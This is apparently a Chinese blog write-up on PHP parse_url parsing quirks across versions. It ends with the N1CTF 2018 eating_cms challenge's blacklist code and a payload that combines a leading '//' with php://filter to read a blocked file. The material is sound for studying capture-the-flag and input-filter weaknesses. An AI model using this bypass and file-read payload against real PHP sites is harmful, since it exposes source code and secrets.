0%

parse_url

parse_url解析漏洞

Pause_url
parse_url — 解析 URL,返回其组成部分

1
parse_url ( string $url [, int $component = -1 ] ) : mixed

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。

更新日志
版本 说明
5.4.7 修复了 host 在 协议 省略时的识别。
5.3.3 在 URL 解析失败时将不会产生 E_WARNING 级别的错误。
5.1.2 增加了参数 component。

范例
Example #1 parse_url() 例子

1
2
3
4
5
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

以上例程会输出:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path

Example #2 parse_url() 解析丢失协议的例子

1
2
3
4
5
6
<?php
$url = '//www.example.com/path?googleguy=googley';

// 在 5.4.7 之前这会输出路径 "//www.example.com/path"
var_dump(parse_url($url));
?>

以上例程会输出:

1
2
3
4
5
6
7
8
array(3) {
["host"]=>
string(15) "www.example.com"
["path"]=>
string(5) "/path"
["query"]=>
string(17) "googleguy=googley"
}

以上是php手册中的介绍

测试代码

1
2
3
4
5
6
7
8
9
<?php
echo PHP_VERSION.'<p>';
echo $_SERVER["REQUEST_URI"].'<p>';
$url = '/user.php?page =keyword';
$url = '//user.php?page =keyword';
$url = '///user.php?page =keyword';
$uri = parse_url($url);
var_dump($uri);
?>

测试结果
Php5.3.29(5.4.7之前)

1
2
3
4
5
6
7
8
array(2) {
["path"]=>
string(9) "/user.php"
string(10) "//user.php"
string(11) "///user.php"
["query"]=>
string(12) "page=keyword"
}

Php5.5.38

1
2
3
4
5
6
array(2) {
["path"]=>
string(9) "/user.php"
["query"]=>
string(12) "page=keyword"
}
1
2
3
4
5
6
array(2) {
["host"]=>
string(8) "user.php"
["query"]=>
string(12) "page=keyword"
}

user.php会被解析成host,而page=keyword会被解析成 query
///user.php?page=keyword导致解析失败
bool(false)

测试结果

1
2
3
4
5
6
5.4.45<p><br><p>array(2) {
["path"]=>
string(9) "/user.php"
["query"]=>
string(56) "page=php://filter/convert.base64-encode/resource=keyword"
}
1
2
3
4
5
6
5.4.45<p><p>array(2) {
["host"]=>
string(17) "user.php?page=php"
["path"]=>
string(47) "//filter/convert.base64-encode/resource=keyword"
}
1
5.4.45<p><p>bool(false)

因此当php版本号较高时,且使用parse_url函数解析参数时,可能会存在//绕过黑名单的情况。

实例[N1CTF 2018]eating_cms
黑名单过滤了需要读取的文件,发现php版本较高且存在parse_url解析传入数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

Payload:

1
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg